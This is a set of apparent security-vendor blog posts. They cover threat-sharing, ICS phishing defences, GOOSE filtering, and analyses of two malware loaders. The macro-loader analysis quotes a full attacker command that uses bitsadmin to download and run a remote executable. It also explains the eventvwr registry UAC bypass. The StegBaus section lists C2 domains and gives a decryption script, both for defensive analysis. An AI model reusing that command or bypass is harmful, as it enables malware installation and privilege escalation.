Normally, we are competitors. However, the Cyber Threat Alliance brings us all together in good faith to share threat information for the purpose of improving defenses against advanced cyber adversaries across member organizations and our respective customers.
Our company mission is to maintain trust in today’s digital world, and the collective intelligence from the Cyber Threat Alliance ecosystem – the output of which will be delivered through our Next-Generation Security Platform – furthers our ability to enable our customers to successfully prevent cyber breaches. We six founding members now also agree that this expanded and independent Cyber Threat Alliance is key to advancing that mission.
To make the Cyber Threat Alliance a more effective and powerful force, we announced the:
Establishment of the Cyber Threat Alliance as its own, truly independent organization with a president, board of directors, and governance structure.
Appointment of Michael Daniel as the first president of the Cyber Threat Alliance. Michael was formerly special assistant to the president and cybersecurity coordinator for the White House and brings unique and valuable expertise to this position.
Addition of Check Point and Cisco to this powerful group of founding members, and additional affiliate and contributing members (e.g., InSights, RSA and Rapid7).
Unveiling of the Cyber Threat Alliance Platform for Threat Intelligence Sharing, which is now fully operational and actively sharing tens of thousands of samples and pieces of active threat intelligence each week.
Ultimately, the vision of the Cyber Threat Alliance and its members is threefold:
To share threat information in order to improve defenses against advanced cyber adversaries across member organizations and their customers.
To advance the cybersecurity of critical information technology infrastructures.
To increase the security, availability, integrity and efficiency of information systems.
With yesterday’s announcement, we made a bold step forward on our first vision item. As a founding Cyber Threat Alliance member and consistent driver of automated threat intelligence sharing, Palo Alto Networks is pleased with the continued forward momentum toward collectively improving the industry’s defenses against advanced cyber adversaries.
Next comes our work on the second and third vision items while we continue to improve the Cyber Threat Alliance Platform and add new members. We believe that by expanding the Cyber Threat Alliance, we are stronger together and can overcome some of the inherent challenges in isolated approaches to cybersecurity.
For us here at Palo Alto Networks, the Cyber Threat Alliance is another way that we show our longstanding and fundamental commitment to the importance of threat information sharing. We have said for years that the industry and the public sector must operationalize threat information sharing; that’s the best way to shift the balance of power against cyber adversaries. The Cyber Threat Alliance and its new operational platform is a realization of that belief. As a founding member, we have been involved in the Cyber Threat Alliance since it started in 2014, and yesterday’s announcements are a realization of the goals and vision we had when this all began.
We are committed to strong, continued support and participation in the Cyber Threat Alliance. I look forward to updating you in the future on the Cyber Threat Alliance’s progress in our shared vision.
Our recent announcement of PAN-OS 8.0 provides scalable prevention through automation, speed and accuracy – three areas by which all cybersecurity deployments should be measured.
Traditional security implementations require too much manual intervention, fail to stop attacks in time, and hinder business with numerous false positives. To address these shortcomings, Palo Alto Networks spearheaded the concept of prevention with the fully integrated and increasingly automated Next-Generation Security Platform to prevent successful cyberattacks. Thanks to the enhanced features available in PAN-OS 8.0, security teams responsible for IT/OT can now scale their capabilities, automate security enforcement, and prevent user identities from being compromised. This can be done quickly and accurately, and without unnecessary manual intervention, allowing your organization to be more secure in all locations.
Tactics Used to Attack ICS
Over the last several years, there have been several successful phishing attacks against industrial controls infrastructures. Most of these attacks obtained valid corporate credentials to the enterprise network, which has proven to be a common factor in the success of these phishing attacks.
Typically, ICS/SCADA are not directly connected to the internet, although there are sometimes exceptions. In most instances, the organization’s enterprise networks sit in front of the production environments. They are providing mission-critical services, the most valuable being network security, from both the internet and intranet, to and from the ICS.
Obtaining valid credentials allows attackers to circumvent enterprise network security solutions without arousing suspicions. This allows the attackers the time to learn and exploit the attached industrial control systems. Sometimes the attacks were just hacktivists working to bring awareness of the vulnerable state of these systems to public attention; for example, the attack on the Water & Sewer Department in Texas, back in November 2011.
Let’s take, for another example, an act of cybercrime, like the incident reported by F-Secure in which CryptoWall, a variant of CryptoLocker, infected a concrete manufacturer in April 2015. A further example was the direct act of cyber terrorism on the Ukrainian power grid later that year in December. It is becoming clear that hacktivists, cybercriminals and cyberterrorists have developed an interest in industrial automation and control systems (IACS).
After Stuxnet, there were significant breaches of companies’ control environments: the Kemuri Water Company (2016) and the German Steel Mill (2014). These breaches were accomplished by pivoting through the enterprise network by way of some form of phishing attack. Credential theft is one of the leading vectors to a data breach. One reason is the majority of organizations continue to use password-based credentials as the primary means of securing user access. It is much easier for an attacker to steal passwords than it is to find and hack a vulnerable system. Thus, password-stealing techniques are used by a broad spectrum of attackers to breach organizations, compromise their networks, and steal critical data from internal data centers and the cloud. In instances where the company happens to own and operate industrial control and SCADA systems, this lack of detection affords the adversary the time and opportunity needed to find, learn, disable or destroy operational infrastructure.
Because attacks of this nature are increasing, companies and their users must remain vigilant and aware and they must defend against the many forms of phishing attacks launched against them.
The attacks may be as simple as luring a user to a fake enterprise login on a similar-looking domain, a tactic known as “deceptive phishing,” or standing up fake Outlook Web Access (OWA) or single sign-on authentication pages, using the more personalized “spear phishing” technique. The objective is the same either way: to trick the user into clicking the malicious attachment or URL and willingly hand over personal data.
Now that industries have become more mindful of these deceptive practices, attackers have begun developing and deploying tactics that are more obfuscated, like “pharming,” a form of domain name system (DNS) cache poisoning. In this type of phishing attack, instead of baiting a potential victim with an email or attachment, they are redirected to a phony website and asked to supply necessary login information.
Another tactic with significant obfuscation is to craft attack emails directed to an identified cloud-based services company and its users, like Dropbox or Google Docs. In all instances of Dropbox and Google Docs phishing attacks, attempts were made to lure users to enter their login credentials on fake sign-in pages hosted by these services providers – a clever tactic even the most diligent security practitioner could fall prey to, since the certificates and SSL connections are being provided by the service being exploited.
The 2016 Verizon Data Breach Investigation Report stated both the frequency and level of sophistication of phishing attacks are increasing and pose a significant threat to all organizations, especially those operating with critical infrastructures.
An obvious, yet not so simple, first step in securing the ICS ecosystem is to secure the business network.
Phishing Attack Prevention
The most damaging breaches related to ICS/SCADA involved the use of stolen enterprise credentials at some stage of the attack. Attackers consistently find that it is easier to move throughout the network as a valid user than it is to find and exploit vulnerable systems. Passwords have remained one of the weakest links in security for years. It is easier than ever to phish for passwords, and multi-factor authentication’s cost and complexity has limited its footprint in the organization. Additionally, the use of multi-factor authentication technology is currently not an ideal fit with IACS.
Prevent Phishing Site Access, Five-Minute Updates
PAN-OS 8.0 brings a robust new defense against credential theft by identifying and blocking password phishing attacks as they are attempted. The firewall analyzes login actions to identify valid corporate credentials being sent to illegitimate websites and prevents the attacker from obtaining credentials that can be used to enter or move throughout the network. Newly discovered phishing sites are then categorized by PAN-DB within five minutes, blocking access to these malicious sites entirely.
Authentication Gateway
In the event the adversary is already in possession of stolen credentials or already has a presence within the network, PAN-OS 8.0 neutralizes the attacker by requiring secure multi-factor authentication before granting access to sensitive resources. Enforcing policy-based multi-factor authentication at the network layer applies strong authentication requirements for all sensitive applications, including those that cannot natively integrate with third-party authentication services, like many found within a process controls network. Enabling this feature limits an attacker’s ability to move freely throughout the network without having to secure each application individually.
These new capabilities work together to neutralize the problem of credential theft and abuse by preventing the adversary from phishing for credentials and using stolen credentials to move laterally throughout the network. This, in turn, helps to secure ICS/SCADA environments.
To learn more about PAN-OS 8.0 and other enhancements made to the Next-Generation Security Platform, visit the What’s New in PAN-OS 8.0 page or contact your Sales Account Manager for details.
Palo Alto Networks has recently analyzed a unique loader for Microsoft Office that leverages malicious macros that is being used to deploy numerous malware families. The loader was originally witnessed in early December of 2016, and over 650 unique samples have been observed since then. These samples account for 12,000 malicious sessions targeting numerous industries. The loader itself is primarily delivered via email and makes use of heavily obfuscated malicious macros as well as a user account control (UAC) bypass technique that was originally discovered in August 2016.
Delivery
As previously mentioned, the loader is primarily delivered via phishing emails. When looking at the roughly 12,000 malicious sessions, we encounter the following subject lines and filenames most frequently:
Top Subjects
ENQ RFQ19-SIS-2017
Order 032.
PURCHASE ORDER
FINAL REMINDER!! TOP URGENT Saudi Arabian Oil Company : Request for quotation no.7202159560
Obeikan Purchase Enquiry…
ORDER TRIAL
Re: Our policy
RFQ PO 7700 8800 9900
AW: Attachment
Verify Your Email Now!!!
Top Filenames
Invoice #74267363.doc
QING_SHUN 20161201_Q88.doc
ProductList.doc
Lebanon deposit slip.doc
ENQ-19-0143-SIS.xls
Company Profile.doc
CONTRACT AND LABEL SABAROT.doc
New-RFQ.doc
PO#19651.doc
WIRE SCANCOPY-001.doc
When looking at what industries were most affected by this threat, we see that High Tech, Professional and Legal Services, and Government were some of the most affected. However, this loader also hit multiple other industries.
Figure 1 Top industries witnessed within AutoFocus
The malware downloaded by this loader varied overall. The following malware families were witnessed being dropped:
Based on the large amount of commodity malware families being dropped, as well as the wide distribution seen, this loader appears to primarily be used for widespread campaigns.
Analysis of the Loader
Analysis of the various macros used across all of the samples showed the same technique being used amongst almost all of them. All of the macros are obfuscated using a large amount of garbage code and randomly chosen variables. This is most likely the result of some builder being used to generate them.
We can see what is taking place in the following macro extracted from 4e56c777862ced487b4dd2556886bd429187c3c1c51c1f51fcba52e2ae350e12. This particular sample was witnessed being delivered via SMTP to multiple organizations with a subject line of ‘Request For Quotation [RFQ]’ and a file name of either ‘RFQ.doc’ or ‘Order Details.doc’.
In the second half of the macro, we see a garbage code, a number of obfuscated strings, as well as a number of strings that are written to the Word document. These strings are in-line with the ploy being used by the attacker based on the witnessed subject line and filename.
Figure 2 Second half of malicious macro
The first half of the macro includes a function to decode the obfuscated strings. After the various strings are concatenated, they are sent to this decode function prior to being called with a Shell command. Decoding these strings is actually quite simple, as the macro simple removes characters present within a blacklist string. As an example, a string of ‘Haellbo’ with a blacklist string of ‘ab’ would result in ‘Hello’.
Figure 3 First half of malicious macro
The inclusion of decoy information within these macros is not always present. When analyzing the roughly 650 samples, just over half of them contained decoy information. Additionally, the InStrRev() call is not always present. Other samples may use a technique similar to the following example, where ‘J8RRLQYA6Z’ is the blacklist string, and the denyoffer variable contains the obfuscated string’s individual characters:
This function will download a file via PowerShell and drop it within the %TEMP% directory. It then sets a specific registry key to point to this newly dropped file. Finally, it will execute the built-in eventvwr.exe process, sleep for roughly 15 seconds by performing a ping against the localhost 15 times, and removes the executes the dropped file. The registry key write and execution of eventvwr.exe is a UAC bypass technique that was first discussed here. It relies on a flaw within Microsoft Windows where the built-in eventvwr.exe process will first look for a process name within the ‘HKCU\Software\Classes\mscfile\shell\open\command’ registry key. By creating this key and supplying it with an executable of the attacker’s choosing, the executable will be spawned by eventvwr.exe in an elevated state.
To assist malware analysts, I’ve included a script that can be used to extract the embedded macro from a Microsoft Office file using this loader, and will attempt to decode the embedded string segments. Running this script against the 4e56c777862ced487b4dd2556886bd429187c3c1c51c1f51fcba52e2ae350e12 file results in the following (Note that the URL has been defanged):
1
2
3
4
5
6
7
8
9
10
11
[–]Blacklist notfound via Like method.Checking forInStrRev().
It should also be mentioned that in a small number of cases, the attackers chose to make use of the built-in BITSAdmin tool instead of PowerShell to download their malware, as seen in the following example:
1
cmd.exe/cbitsadmin/transfera/download/priority high https://a.pomf[.]cat/vrehnz.exe %tmp%\\listfiles.exe & reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d %tmp%\\listfiles.exe /f & C:\\Windows\\system32\\eventvwr.exe & PING -n 15 127.0.0.1>nul & %tmp%\\listfiles.exe & exit
In these instances, the same macro obfuscation was used, and we can see the same technique of bypassing UAC and performing a ping against localhost 15 times.
Just 11 of the 650 samples made use of BITSAdmin to download their malware within this loader. All of the instances where BITSAdmin was used took place when this loader was originally seen, in early December 2016. It would appear that the attackers quickly changed this in favor of using PowerShell for downloads.
Conclusion
Overall, this new loader is interesting in its use of performing a UAC bypass. Additionally, the widespread use of this loader since December of last year shows that it is being used in numerous campaigns. It is unclear if this loader is being used by one or more groups. Multiple industries have been targeted by this loader, which has been used to deploy multiple malware families.
Palo Alto Networks customers are protected against this threat in the following ways:
All instances of the loader and dropped malware are flagged as malicious within WildFire
This past week, our team has identified a group of malware samples that matched behavioral heuristics for multiple known malware families. These samples all displayed their typical respective malware characteristics and contacted known command and control (C2) servers from those families. However, initial static analysis revealed that all of these samples appear to be identical on the surface, leading us to believe that we had discovered a new loader. The malware families identified at this time are DarkComet, LuminosityLink RAT, Pony, ImmenentMonitor, and some multiple variations of shellcode. We are calling the malicious loader StegBaus based on its use of custom steganography and a PDB string, which was found in an embedded DLL.
Due to the large number of infections that the aforementioned malware families have previously been involved in, any new loading techniques that could make it easier for an attacker to execute these malware families on a victim computer should be taken seriously and an attempt at identifying it pre-infection should be treated as a high-priority.
This loader is unique in numerous ways, most notably the steganography that is being used to hide the loader configuration, as well as the final payload. These features will be discussed in the analysis section below. The loader also uses common techniques, such as the RunPE method, to load final payload into memory as a new process. This method has been seen in the wild for a number of years and typically involves utilizing a host process, threading contexts, and memory allocation. Although these steps appear to be relatively static within the loader, there are slight differences we were able to identify based on the time of deployment. One such case is a sample that appears to have been used for testing at least 6 months before the majority of samples were seen in the wild.
Distribution
The .NET executables with a code-base similar to the StegBaus loader were originally seen being tested in mid-2016 with much less obfuscation and the addition of testing phrases and strings. While hunting for related samples with the same characteristics, we were able to identify similar features in the KazyLoader .NET packer. KazyLoader provides a means for data hiding in BMP files and similar encryption schemes as well, and although these similarities exist, the increased sophistication in StegBaus and the limited visibility into the KazyLoader code-base makes linking these two families together very difficult.
The first known instance of StegBaus that Palo Alto Networks was able to identify was seen on December 30, 2016, with numerous samples being encountered since then. It should be noted that the malware families being distributed by StegBaus are all commodity malware and many of them have had their source-code leaked online in the past. This fact makes it difficult to determine if the author of StegBaus is generating his/her own custom samples, reusing samples found in the wild, or has a connection to the groups that use these malware families for criminal activities.
The most common filenames used to deliver StegBuas in the wild are:
image44.scr
barbiure.exe
image56.scr
image.scr
corben.exe
picture.scr
Netsparker.exe
The most common HTTP connection information is as follows:
Kimki[.]ru , POST , /chamber/panelnew/gate.php
kimki[.]ru, POST, /nelson/panelnew/gate.php
kimki[.]ru , POST , /emeka/panelnew/gate.php
oxylala[.]gdn , POST , /emeka/panelnew/gate.php
oxylala[.]gdn , POST , /charly/panelnew/gate.php
oxylala[.]gdn , POST , /asaba/panelnew/gate.php
oxylala[.]gdn , POST , /victor/panelnew/gate.php
oxylala[.]gdn , POST , /mandela/panelnew/gate.php
oxylala[.]gdn , POST , /asaba/panelnew/gate.php
minecon[.]co, POST, /Panel/gate.php
informer.pe[.]hu , POST , /Server/
The most common DNS queries are the following:
custom[.]generatione[.]tech
goodluckjayjay[.]duckdns[.]org
slyopeznetwr[.]ddns[.]net
11live[.]zapto[.]org
goodluckyugo[.]duckdns[.]org
akudon[.]chickenkiller[.]com
informer[.]pe[.]hu
files[.]catbox[.]moe
tags[.]bkrtx[.]com
sg[.]symcb[.]com
minecon[.]co
kimki[.]ru
oxylala[.]gdn
Analysis
StegBaus is originally distributed in a .NET-compiled executable that uses Confuser v1.9.0.0 obfuscation. Initial static analysis of the sample reveals multiple portable network graphics (PNG) image files that are embedded as .NET resources. These can be seen in the figure below.
Figure 1 PNG resource files
Upon execution, StegBaus loads a new DLL into its memory space and execution is transferred to the DLL’s main function, which in later samples has been renamed to a singular letter (A, K, or Q). This DLL is completely deobfuscated and its internal name was found to be A.dll in each variation that we analyzed. The functions contain no obfuscation and can be clearly read, as shown in Figure 2.
Figure 2 Function list
As can be seen from the function list above, StegBaus contains a number of functions that appear to do relatively simple things. After analysis of these functions, it is clear that the functions actually do exactly what their names suggest. Full anlaysis of each of these functions will not be provided, but some of the most interesting ones will be discussed throughout the explanation of the data hiding techniques.
After analyzing the original, heavily obfuscated, executable and finding the embedded resources, we chose to investigate this DLL for any resources as well. It turns out that the author used this resource section to embed numerous blobs of base64-encoded data as seen below in Figure 3.
Figure 3 Embedded base64-encoding
The resources seen in Figure 3 both contain base64-encoded data, which each decode into a separate DLL. These DLLs are named img2data.dll and CreateShortct.dll respectively. The CreateShortct.dll file is used to locate the current users Startup folder and creates a shortcut to the original executable using a random 8 character name. The img2data.dll, however, is a little more interesting and will be discussed in the Data Hiding section.
The CreateShortct.dll contains the following PDB string that was used in naming the malware:
The img2data.dll file contains custom functionality to convert images into a data stream by using numerous libraries included in the .NET Framework. The actual code for the function can be seen below:
Figure 4 ImagesToData function
The reimplementation of this code is provided here and can be compiled as C# in Visual Studio by adding a library reference to System.Drawing. The provided decoder will take a directory name that contains all of the PNG resource files with their original names and provide a binary output file that can be used to continue analysis.
The img2data.dll is utilized by the ConvertImagesToData function in A.dll. This function simply loads the DLL into memory via .NET module loading techniques and creates a buffer for data storage. Essentially, the img2data.dll will locate the resources in the original executable and read all of the raw bytes into a memory stream before being manipulated. After this data has been converted into a usable data stream and stored in the global buffer, it is then decrypted multiple times, as discussed below.
Encryption
Although data hiding with steganography is unusual, it is an extremely effective means of concealing information, the malware authors found it necessary to also use AES encryption. Specifically, the RinjndaelManaged function that belongs to System.Security.Cryptography is used to decrypt data using AES-128.
While debugging the malware and stepping through the crypto routines, we can easily identify the initial password that is used to generate the key and initialization vector (IV) for the AES routine. The password is gathered by identifying the timestamp from the STARTUP_INFORMATION structure of the original executable and this value is then run through a sequence of arithmetic operations. This information is then used to create a new GUID, which in turn is truncated to 8 characters, and then used as the password. The password for the sample analyzed is “d1ee1095”, which is easily identifiable during debugging and execution. This value is then run through the Password-Based Key Derivation Function 2 (PBKDF2) and we can hex-encode this result for both a 32-byte and 16-byte value. The return value for the 32-byte value is the key and the 16-byte value is the IV.
Once the key and iv are produced, the decryption proceeds by using AES with CBC. The following script can be used to decrypt the data once the password has been identified:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PBKDF2 import PBKDF2
from Crypto import Random
from Crypto.Cipher import AES
import sys,binascii
with open(sys.argv[1],mode=‘rb’)asfile:
data=file.read()
password=sys.argv[2]
p=pbkdf2.PBKDF2(password,password[:8])
key=binascii.hexlify(p.read(32))
iv=binascii.hexlify(p.read(16))
mode=AES.MODE_CBC
e=AES.new(key,mode,iv)
f=open(‘outputDecrypted.bin’,“wb”)
f.write(e.decrypt(data))
f.close()
After decrypting the data, the results are not as we expected…there is no human readable data. This leads us to further debugging to identify any other techniques being used. In this case, the authors decided that using steganography and AES encryption wasn’t enough they had to encrypt the data twice using the same AES implementation. Using the same script as above and the decimal representation of the previously returned timestamp, “1484648550”, we are able to determine the key and IV for the second iteration of decryption. This time we are provided with what appears to be a human readable configuration file, which contains the following data:
Finally, after the aforementioned decryption is finished, the StegBaus configuration options become visible as we see in the figure below. These options dictate which additional functions are going to be called in A.dll. As shown before, there are a number of additional functions, but they are not used unless the configuration has the options enabled. Along with the configuration options, the decrypted data also contains the final payload and is represented in two different forms in the samples we analyzed.
Figure 5 Decrypted data forms (plaintext vs. zlib)
As seen in the figure above, the two different data representations in the decrypted data buffer are plaintext and a zlib-compressed data blob. In some of the first samples identified, the decryption stage mentioned above is actually the final stage of data hiding and this executable is then loaded into memory via the RunPE method. The newest samples analyzed utilize zlib compression to further hide the final payload within the decrypted data buffer. The decompression is completed in the Decompress function, which can be seen in Figure 2 as part of A.dll. When the final payload is decompressed, it is loaded into memory as a new process via the RunPE method as well.
Conclusion
The StegBaus loader that was identified contains many advanced data hiding techniques and has been seen delivering numerous different commodity malware families.
Currently, the loader itself is being identified as malware by WildFire and can be seen in Autofocus as well. Palo Alto Networks is detecting this malicious loader via behavioral identifiers and is also identifying the malware families being delivered by these measures.
I would like to thank threat analyst Brandon Levene for bringing this unique malware family to my attention. The characteristics identified within the analyzed samples led to the discovery of more than 250 samples utilizing the StegBaus loader, all of which were identified as malware in WildFire.
A key reason for the growing adoption of our Next-Generation Firewall within OT environments is our App-ID technology, which enables Layer-7 visibility and control over many ICS/SCADA protocols and applications, both standards-based and vendor-specific. Furthermore, through App-ID decoders, users can create dozens of command- and/or function- level custom App-IDs to bring even deeper insight and control.
So far, our ICS/SCADA protocol security capabilities have been for IP-based traffic, but with our new PAN-OS 8.0 release, we are excited to announce a new feature called non-IP protocol control for controlling ethernet traffic. This feature enhances the zone protection profile with the ability to create and apply a filter to any zone to block or explicitly permit traffic based on the header’s ether-type value.
An example of where this could be applied in ICS is in the growing area of IEC 61850 substation automation. IEC 61850 is a family of protocols that includes both IP-based and ethernet-based protocols. One of these ethernet-based protocols is GOOSE (ether type of 0x88b8). Without getting into the details, due to strict real-time performance requirements with IEC 61850, encryption was excluded from the standard. Furthermore, although GOOSE message authentication was defined via the IEC 62351-6 standard, there is still an associated complexity and also a loss of performance with the authentication enforced. Hence, most practical implementations will not have either of these security features turned on and are therefore vulnerable to cyberattacks. In fact, several research studies have validated the feasibility of GOOSE-related cyberattacks across different attack classes, such as modification, denial of service and replay.
As a basic example of attack and defense, consider a scenario where an attacker has successfully made his way to a business/engineering area of a substation network. This could be via a pivot from the control center or perhaps from a WiFi network at the substation, used for maintenance. Once present on the LAN, the attacker could initiate a GOOSE DoS attack or send specially crafted GOOSE packets into the IEC 61850 VLAN that may cause erratic behavior, poor performance, loss of service (opening relays), or even damage to equipment. With the non-IP protocol control feature, users can define a zone protection profile that blocks GOOSE traffic into the IEC 61850 zone, thereby preventing the attack and associated undesirable events. Attack scenarios from the IEC 61850 that zone “upstream” to the business zone seem to be less of a concern, but a zone protection profile in that direction could also be easily applied.
Although less research has been published on attack cases for sampled values and GSE management – the other protocols under IEC 61850 with specific ether types – the non-IP control feature can also be applied by simply filtering their respective ether types of 88b9 and 88ba. This could be useful as future attack cases for SV and GSE management are discovered.
